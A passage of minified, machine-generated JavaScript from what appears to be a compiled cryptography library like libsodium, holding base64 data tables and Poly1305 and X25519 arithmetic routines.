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\"),A(e,33676,\"AQ==\"),A(e,33712,\"AQ==\"),A(e,33744,\"4Ot6fDtBuK4WVuP68Z/EatoJjeucMrH9hmIFFl9JuABfnJW8o1CMJLHQsVWcg+9bBERcxFgcjobYIk7d0J8RV+z///////////////////////////////////////9/7f///////////////////////////////////////3/u////////////////////////////////////////fw==\"),A(e,33936,\"Z+YJaoWuZ7ty8248OvVPpX9SDlGMaAWbq9mDHxnN4FuYL4pCkUQ3cc/7wLWl27XpW8JWOfER8Vmkgj+S1V4cq5iqB9gBW4MSvoUxJMN9DFV0Xb5y/rHegKcG3Jt08ZvBwWmb5IZHvu/GncEPzKEMJG8s6S2qhHRK3KmwXNqI+XZSUT6YbcYxqMgnA7DHf1m/8wvgxkeRp9VRY8oGZykpFIUKtyc4IRsu/G0sTRMNOFNUcwpluwpqdi7JwoGFLHKSoei/oktmGqhwi0vCo1FsxxnoktEkBpnWhTUO9HCgahAWwaQZCGw3Hkx3SCe1vLA0swwcOUqq2E5Pypxb828uaO6Cj3RvY6V4FHjIhAgCx4z6/76Q62xQpPej+b7yeHHGgA==\"),A(e,34304,\"CMm882fmCWo7p8qEha5nuyv4lP5y82488TYdXzr1T6XRguatf1IOUR9sPiuMaAWba71B+6vZgx95IX4TGc3gWyKuKNeYL4pCzWXvI5FEN3EvO03sz/vAtbzbiYGl27XpOLVI81vCVjkZ0AW28RHxWZtPGa+kgj+SGIFt2tVeHKtCAgOjmKoH2L5vcEUBW4MSjLLkTr6FMSTitP/Vw30MVW+Je/J0Xb5ysZYWO/6x3oA1Esclpwbcm5Qmac908ZvB0krxnsFpm+TjJU84hke+77XVjIvGncEPZZysd8yhDCR1AitZbyzpLYPkpm6qhHRK1PtBvdypsFy1UxGD2oj5dqvfZu5SUT6YEDK0LW3GMag/IfuYyCcDsOQO777Hf1m/wo+oPfML4MYlpwqTR5Gn1W+CA+BRY8oGcG4OCmcpKRT8L9JGhQq3JybJJlw4IRsu7SrEWvxtLE3fs5WdEw04U95jr4tUcwplqLJ3PLsKanbmru1HLsnCgTs1ghSFLHKSZAPxTKHov6IBMEK8S2YaqJGX+NBwi0vCML5UBqNRbMcYUu/WGeiS0RCpZVUkBpnWKiBxV4U1DvS40bsycKBqEMjQ0rgWwaQZU6tBUQhsNx6Z647fTHdIJ6hIm+G1vLA0Y1rJxbMMHDnLikHjSqrYTnPjY3dPypxbo7iy1vNvLmj8su9d7oKPdGAvF0NvY6V4cqvwoRR4yITsOWQaCALHjCgeYyP6/76Q6b2C3utsUKQVecay96P5vitTcuPyeHHGnGEm6s4+J8oHwsAhx7iG0R7r4M3WfdrqeNFu7n9PffW6bxdyqmfwBqaYyKLFfWMKrg35vgSYPxEbRxwTNQtxG4R9BCP1d9sokyTHQHuryjK8vskVCr6ePEwNEJzEZx1DtkI+y77UxUwqfmX8nCl/Wez61jqrb8tfF1hHSowZRGyA\"),A(e,35136,\"U2lnRWQyNTUxOSBubyBFZDI1NTE5IGNvbGxpc2lvbnMB\"),A(e,35200,\"0I4BAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAADAAAAA0=\");var de,Ie=(de=[null,function(t,e,r,n,A){var i,o,h;return t|=0,e|=0,r|=0,n|=0,A|=0,I=i=(o=I)-128&-64,a[i>>2]=67108863&(c[0|A]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24),a[i+4>>2]=(c[A+3|0]|c[A+4|0]<<8|c[A+5|0]<<16|c[A+6|0]<<24)>>>2&67108611,a[i+8>>2]=(c[A+6|0]|c[A+7|0]<<8|c[A+8|0]<<16|c[A+9|0]<<24)>>>4&67092735,a[i+12>>2]=(c[A+9|0]|c[A+10|0]<<8|c[A+11|0]<<16|c[A+12|0]<<24)>>>6&66076671,h=c[A+12|0]|c[A+13|0]<<8|c[A+14|0]<<16|c[A+15|0]<<24,a[i+20>>2]=0,a[i+24>>2]=0,a[i+28>>2]=0,a[i+32>>2]=0,a[i+36>>2]=0,a[i+16>>2]=h>>>8&1048575,a[i+40>>2]=c[A+16|0]|c[A+17|0]<<8|c[A+18|0]<<16|c[A+19|0]<<24,a[i+44>>2]=c[A+20|0]|c[A+21|0]<<8|c[A+22|0]<<16|c[A+23|0]<<24,a[i+48>>2]=c[A+24|0]|c[A+25|0]<<8|c[A+26|0]<<16|c[A+27|0]<<24,A=c[A+28|0]|c[A+29|0]<<8|c[A+30|0]<<16|c[A+31|0]<<24,s[i+80|0]=0,a[i+56>>2]=0,a[i+60>>2]=0,a[i+52>>2]=A,z(i,e,r,n),$(i,t),I=o,0},function(t,e,r,n,A){var i,o,h;return t|=0,e|=0,r|=0,n|=0,A|=0,I=i=(o=I)-192&-64,a[i+64>>2]=67108863&(c[0|A]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24),a[i+68>>2]=(c[A+3|0]|c[A+4|0]<<8|c[A+5|0]<<16|c[A+6|0]<<24)>>>2&67108611,a[i+72>>2]=(c[A+6|0]|c[A+7|0]<<8|c[A+8|0]<<16|c[A+9|0]<<24)>>>4&67092735,a[i+76>>2]=(c[A+9|0]|c[A+10|0]<<8|c[A+11|0]<<16|c[A+12|0]<<24)>>>6&66076671,h=c[A+12|0]|c[A+13|0]<<8|c[A+14|0]<<16|c[A+15|0]<<24,a[i+84>>2]=0,a[i+88>>2]=0,a[i+92>>2]=0,a[i+96>>2]=0,a[i+100>>2]=0,a[i+80>>2]=h>>>8&1048575,a[i+104>>2]=c[A+16|0]|c[A+17|0]<<8|c[A+18|0]<<16|c[A+19|0]<<24,a[i+108>>2]=c[A+20|0]|c[A+21|0]<<8|c[A+22|0]<<16|c[A+23|0]<<24,a[i+112>>2]=c[A+24|0]|c[A+25|0]<<8|c[A+26|0]<<16|c[A+27|0]<<24,A=c[A+28|0]|c[A+29|0]<<8|c[A+30|0]<<16|c[A+31|0]<<24,s[i+144|0]=0,a[i+120>>2]=0,a[i+124>>2]=0,a[i+116>>2]=A,z(A=i- -64|0,e,r,n),$(A,e=i+48|0),t=nt(t,e),I=o,0|t},function(t,e){var r;return e|=0,a[(t|=0)>>2]=67108863&(c[0|e]|c[e+1|0]<<8|c[e+2|0]<<16|c[e+3|0]<<24),a[t+4>>2]=(c[e+3|0]|c[e+4|0]<<8|c[e+5|0]<<16|c[e+6|0]<<24)>>>2&67108611,a[t+8>>2]=(c[e+6|0]|c[e+7|0]<<8|c[e+8|0]<<16|c[e+9|0]<<24)>>>4&67092735,a[t+12>>2]=(c[e+9|0]|c[e+10|0]<<8|c[e+11|0]<<16|c[e+12|0]<<24)>>>6&66076671,r=c[e+12|0]|c[e+13|0]<<8|c[e+14|0]<<16|c[e+15|0]<<24,a[t+20>>2]=0,a[t+24>>2]=0,a[t+28>>2]=0,a[t+32>>2]=0,a[t+36>>2]=0,a[t+16>>2]=r>>>8&1048575,a[t+40>>2]=c[e+16|0]|c[e+17|0]<<8|c[e+18|0]<<16|c[e+19|0]<<24,a[t+44>>2]=c[e+20|0]|c[e+21|0]<<8|c[e+22|0]<<16|c[e+23|0]<<24,a[t+48>>2]=c[e+24|0]|c[e+25|0]<<8|c[e+26|0]<<16|c[e+27|0]<<24,e=c[e+28|0]|c[e+29|0]<<8|c[e+30|0]<<16|c[e+31|0]<<24,s[t+80|0]=0,a[t+56>>2]=0,a[t+60>>2]=0,a[t+52>>2]=e,0},function(t,e,r,n){return z(t|=0,e|=0,r|=0,n|=0),0},function(t,e){return $(t|=0,e|=0),0},function(t,e,r){t|=0,e|=0,r|=0;var n,A=0,i=0,o=0,h=0,g=0,u=0,l=0,f=0,p=0,d=0,C=0,m=0,B=0,E=0,w=0,_=0,Q=0,k=0,D=0,S=0,N=0,M=0,x=0,F=0,P=0,T=0,R=0,G=0,H=0,L=0,O=0,Y=0,K=0,J=0,j=0,z=0,q=0,V=0,W=0,Z=0,$=0,tt=0,rt=0,nt=0,At=0,it=0,ot=0,st=0,at=0,ct=0,ht=0,gt=0,ut=0,lt=0,ft=0,pt=0,dt=0,It=0,yt=0,Ct=0,mt=0,Et=0,wt=0,vt=0,_t=0,Qt=0;for(I=n=I-368|0;C=(o=c[r+A|0])^c[0|(g=A+33680|0)]|C,d=o^c[g+192|0]|d,p=o^c[g+160|0]|p,f=o^c[g+128|0]|f,h=o^c[g+96|0]|h,u=o^c[g- -64|0]|u,i=o^c[g+32|0]|i,31!=(0|(A=A+1|0)););if(A=-1,!(256&((255&((o=127^(g=127&c[r+31|0]))|d))-1|(255&(o|p))-1|(255&(o|f))-1|(255&(87^g|h))-1|(255&(u|g))-1|(255&(i|g))-1|(255&(g|C))-1))){for(A=e,e=c[e+28|0]|c[e+29|0]<<8|c[e+30|0]<<16|c[e+31|0]<<24,a[n+360>>2]=c[A+24|0]|c[A+25|0]<<8|c[A+26|0]<<16|c[A+27|0]<<24,a[n+364>>2]=e,e=c[A+20|0]|c[A+21|0]<<8|c[A+22|0]<<16|c[A+23|0]<<24,a[n+352>>2]=c[A+16|0]|c[A+17|0]<<8|c[A+18|0]<<16|c[A+19|0]<<24,a[n+356>>2]=e,i=c[A+4|0]|c[A+5|0]<<8|c[A+6|0]<<16|c[A+7|0]<<24,e=c[0|A]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24,a[n+336>>2]=e,a[n+340>>2]=i,i=c[A+12|0]|c[A+13|0]<<8|c[A+14|0]<<16|c[A+15|0]<<24,a[n+344>>2]=c[A+8|0]|c[A+9|0]<<8|c[A+10|0]<<16|c[A+11|0]<<24,a[n+348>>2]=i,s[n+336|0]=248&e,s[n+367|0]=63&c[n+367|0]|64,U(n+288|0,r),a[n+260>>2]=0,a[n+264>>2]=0,a[n+268>>2]=0,a[n+272>>2]=0,a[n+276>>2]=0,a[n+208>>2]=0,a[n+212>>2]=0,a[n+216>>2]=0,a[n+220>>2]=0,a[n+224>>2]=0,a[n+228>>2]=0,e=a[n+308>>2],a[n+160>>2]=a[n+304>>2],a[n+164>>2]=e,e=a[n+316>>2],a[n+168>>2]=a[n+312>>2],a[n+172>>2]=e,e=a[n+324>>2],a[n+176>>2]=a[n+320>>2],a[n+180>>2]=e,a[n+244>>2]=0,a[n+248>>2]=0,a[n+240>>2]=1,a[n+252>>2]=0,a[n+256>>2]=0,a[n+192>>2]=0,a[n+196>>2]=0,a[n+200>>2]=0,a[n+204>>2]=0,e=a[n+292>>2],a[n+144>>2]=a[n+288>>2],a[n+148>>2]=e,e=a[n+300>>2],a[n+152>>2]=a[n+296>>2],a[n+156>>2]=e,a[n+116>>2]=0,a[n+120>>2]=0,a[n+124>>2]=0,a[n+128>>2]=0,a[n+132>>2]=0,a[n+100>>2]=0,a[n+104>>2]=0,a[n+96>>2]=1,a[n+108>>2]=0,a[n+112>>2]=0,r=254;$=a[n+276>>2],o=a[n+180>>2],tt=a[n+96>>2],rt=a[n+192>>2],nt=a[n+144>>2],At=a[n+240>>2],it=a[n+100>>2],ot=a[n+196>>2],st=a[n+148>>2],at=a[n+244>>2],M=a[n+104>>2],ct=a[n+200>>2],x=a[n+152>>2],ht=a[n+248>>2],T=a[n+108>>2],gt=a[n+204>>2],R=a[n+156>>2],ut=a[n+252>>2],F=a[n+112>>2],lt=a[n+208>>2],S=a[n+160>>2],ft=a[n+256>>2],C=a[n+116>>2],pt=a[n+212>>2],l=a[n+164>>2],dt=a[n+260>>2],d=a[n+120>>2],It=a[n+216>>2],p=a[n+168>>2],yt=a[n+264>>2],f=a[n+124>>2],Ct=a[n+220>>2],h=a[n+172>>2],mt=a[n+268>>2],u=a[n+128>>2],Et=a[n+224>>2],i=a[n+176>>2],D=a[n+272>>2],wt=r,N=(_=(e=0-((e=Z)^(Z=c[(vt=n+336|0)+(r>>>3|0)|0]>>>(7&r)&1))|0)&((A=a[n+132>>2])^(z=a[n+228>>2])))^A,a[n+132>>2]=N,q=o^(Q=e&(o^$)),a[n+84>>2]=q-N,P=u^(B=e&(u^Et)),a[n+128>>2]=P,V=(k=e&(i^D))^i,a[n+80>>2]=V-P,H=f^(E=e&(f^Ct)),a[n+124>>2]=H,_t=h^(w=e&(h^mt)),a[n+76>>2]=_t-H,L=d^(m=e&(d^It)),a[n+120>>2]=L,Qt=p^(g=e&(p^yt)),a[n+72>>2]=Qt-L,O=C^(o=e&(C^pt)),a[n+116>>2]=O,Y=l^(C=e&(l^dt)),a[n+68>>2]=Y-O,K=F^(d=e&(F^lt)),a[n+112>>2]=K,G=S^(p=e&(S^ft)),a[n+64>>2]=G-K,J=T^(f=e&(T^gt)),a[n+108>>2]=J,W=R^(h=e&(R^ut)),a[n+60>>2]=W-J,j=M^(u=e&(M^ct)),a[n+104>>2]=j,T=x^(i=e&(x^ht)),a[n+56>>2]=T-j,M=it^(A=e&(it^ot)),a[n+100>>2]=M,R=st^(r=e&(st^at)),a[n+52>>2]=R-M,x=tt^(F=e&(tt^rt)),a[n+96>>2]=x,S=(e&=nt^At)^nt,a[n+48>>2]=S-x,l=Q^$,_^=z,a[n+36>>2]=l-_,Q=k^D,B^=Et,a[n+32>>2]=Q-B,k=w^mt,E^=Ct,a[n+28>>2]=k-E,w=g^yt,m^=It,a[n+24>>2]=w-m,g=C^dt,o^=pt,a[n+20>>2]=g-o,C=p^ft,d^=lt,a[n+16>>2]=C-d,p=h^ut,f^=gt,a[n+12>>2]=p-f,h=i^ht,u^=ct,a[n+8>>2]=h-u,i=r^at,A^=ot,a[n+4>>2]=i-A,r=e^At,e=F^rt,a[n>>2]=r-e,a[n+276>>2]=l+_,a[n+272>>2]=Q+B,a[n+268>>2]=E+k,a[n+264>>2]=m+w,a[n+260>>2]=o+g,a[n+256>>2]=d+C,a[n+248>>2]=h+u,a[n+244>>2]=A+i,a[n+240>>2]=e+r,a[n+252>>2]=f+p,a[n+228>>2]=N+q,a[n+224>>2]=P